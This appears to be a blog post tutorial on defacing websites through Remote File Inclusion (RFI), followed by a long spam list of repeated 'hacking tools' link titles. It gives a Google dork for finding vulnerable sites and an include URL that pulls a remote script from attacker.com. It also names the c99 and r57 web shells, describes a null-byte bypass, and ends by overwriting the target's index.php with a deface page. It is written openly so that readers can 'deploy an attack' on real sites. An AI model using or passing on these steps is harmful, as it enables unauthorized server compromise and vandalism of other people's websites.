HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

HOW TO DEFACE A WEBSITE USING REMOTE FILE INCLUSION (RFI)?

Remote File Inclusion (RFI) is a technique that allows the attacker to upload a malicious code or file on a website or server. The vulnerability exploits the different sort of validation checks in a website and can lead to code execution on server or code execution on the website. This time, I will be writing a simple tutorial on Remote File Inclusion and by the end of the tutorial, I suppose you will know what it is all about and may be able to deploy an attack.
RFI is a common vulnerability. All the website hacking is not exactly about SQL injection. Using RFI you can literally deface the websites, get access to the server and play almost anything with the server. Why it put a red alert to the websites, just because of that you only need to have your common sense and basic knowledge of PHP to execute malicious code. BASH might come handy as most of the servers today are hosted on Linux.

SO, HOW TO HACK A WEBSITE OR SERVER WITH RFI?

First of all, we need to find out an RFI vulnerable website. Let's see how we can find one.
As we know finding a vulnerability is the first step to hack a website or server. So, let's get started and simply go to Google and search for the following query.
inurl: "index.php?page=home"
At the place of home, you can also try some other pages like products, gallery and etc.
If you already a know RFI vulnerable website, then you don't need to find it through Google.
Once we have found it, let's move on to the next step. Let's see we have a following RFI vulnerable website.
http://target.com/index.php?page=home
As you can see, this website pulls documents stored in text format from the server and renders them as web pages. Now we can use PHP include function to pull them out. Let's see how it works.
http://target.com/index.php?page=http://attacker.com/maliciousScript.txt
I have included my malicious code txt URL at the place of home. You can use any shell for malicious scripts like c99, r57 or any other.
Now, if it's a really vulnerable website, then there would be 3 things that can happen.
  1. You might have noticed that the URL consisted of "page=home" had no extension, but I have included an extension in my URL, hence the site may give an error like 'failure to include maliciousScript.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
  2. In case, it automatically appends something in the lines of .php then we have to use a null byte '' in order to avoid error.
  3. Successful execution.
As we get the successful execution of the code, we're good to go with the shell. Now we'll browse the shell for index.php. And will replace the file with our deface page.

Related links


  1. Hacking Tools Online
  2. Pentest Recon Tools
  3. Hacking Tools For Windows 7
  4. Hacking Tools Windows 10
  5. Github Hacking Tools
  6. Best Hacking Tools 2020
  7. Hack Tools For Windows
  8. Hack Tools For Ubuntu
  9. Hack Tools For Pc
  10. Hack Tools For Pc
  11. Hacking Tools For Mac
  12. Hack Tools For Games
  13. Hack Tools Github
  14. Hackrf Tools
  15. World No 1 Hacker Software
  16. What Is Hacking Tools
  17. Hack Tools For Ubuntu
  18. Physical Pentest Tools
  19. Termux Hacking Tools 2019
  20. Android Hack Tools Github
  21. Pentest Tools Online
  22. Hacking Tools Online
  23. Game Hacking
  24. Hack Tools
  25. Hacker Techniques Tools And Incident Handling
  26. Hacker Tools For Mac
  27. Hacker Tools Hardware
  28. Hacker Tools List
  29. Hacking Tools Name
  30. Hacker Tools Free
  31. Hack Tools Github
  32. Pentest Tools For Windows
  33. Hacking Tools For Mac
  34. Hacking Tools For Beginners
  35. Ethical Hacker Tools
  36. Hack Tools For Windows
  37. Hacker Tools Apk
  38. Hacker Tools Windows
  39. Hack Tools For Mac
  40. Pentest Tools Framework
  41. Pentest Tools
  42. Hacking Tools Name
  43. Hack And Tools
  44. Hack Rom Tools
  45. Best Hacking Tools 2019
  46. Hacker Tools 2019
  47. Hacker Tools For Windows
  48. Hacker Tools List
  49. Pentest Recon Tools
  50. Hacking Tools Name
  51. Pentest Tools Apk
  52. Hacking Tools Windows
  53. Hack Tool Apk No Root
  54. Hacking App
  55. Pentest Tools For Android
  56. Black Hat Hacker Tools
  57. How To Hack
  58. World No 1 Hacker Software
  59. Hacker Tools
  60. Bluetooth Hacking Tools Kali
  61. Hacker Tools Software
  62. Hacking Tools Name
  63. Hacker Tools For Windows
  64. Pentest Tools Find Subdomains
  65. Nsa Hack Tools
  66. Pentest Tools Github
  67. Hacker Tools For Mac
  68. Free Pentest Tools For Windows
  69. Hacking Tools Software
  70. Pentest Tools Download
  71. Hacker Tools 2020
  72. Hack Tools Mac
  73. Hack Tool Apk No Root
  74. Tools 4 Hack
  75. New Hacker Tools
  76. Hacker Tools Free
  77. Hack Tool Apk
  78. Hacker Tools For Mac
  79. Pentest Tools Alternative
  80. Beginner Hacker Tools
  81. Pentest Tools Open Source
  82. Tools 4 Hack
  83. Hack Apps
  84. Pentest Tools Website
  85. Pentest Automation Tools
  86. Pentest Tools For Android
  87. Hack And Tools
  88. Pentest Box Tools Download
  89. Install Pentest Tools Ubuntu
  90. Hacker Tools Apk
  91. Pentest Tools Kali Linux
  92. Hack Tools
  93. New Hacker Tools
  94. Pentest Tools Framework
  95. Hacking Tools Software
  96. Hacking Tools For Beginners
  97. Hacking Tools Windows 10
  98. Easy Hack Tools
  99. Pentest Tools Apk
  100. Hacker Tool Kit
  101. Hacker Tools For Ios
  102. Hacker Tools Mac
  103. Hacking Tools 2019
  104. Hacker Techniques Tools And Incident Handling
  105. Pentest Tools List
  106. Hacking Tools For Mac
  107. Pentest Tools For Android
  108. Hacking Tools
  109. World No 1 Hacker Software
  110. Hacking Tools Usb
  111. What Are Hacking Tools
  112. How To Hack
  113. Install Pentest Tools Ubuntu
  114. Hacker Tools Apk
  115. Physical Pentest Tools
  116. Pentest Tools Url Fuzzer
  117. Pentest Automation Tools
  118. Hacking Tools And Software
  119. Hacking Tools Pc
  120. Pentest Tools Nmap
  121. Ethical Hacker Tools
  122. Pentest Reporting Tools
  123. Pentest Tools Kali Linux
  124. Hacking Tools
  125. Pentest Tools Online
  126. Hacking Tools
  127. Hacking Tools
  128. Pentest Reporting Tools
  129. Hack Tools
  130. Hacker Tools
  131. Hacking Tools And Software
  132. Hacking Tools Pc
  133. Hacker Tools 2020
  134. Hack Tools Github
  135. Nsa Hacker Tools
  136. Hacker Hardware Tools

Tidak ada komentar:

Posting Komentar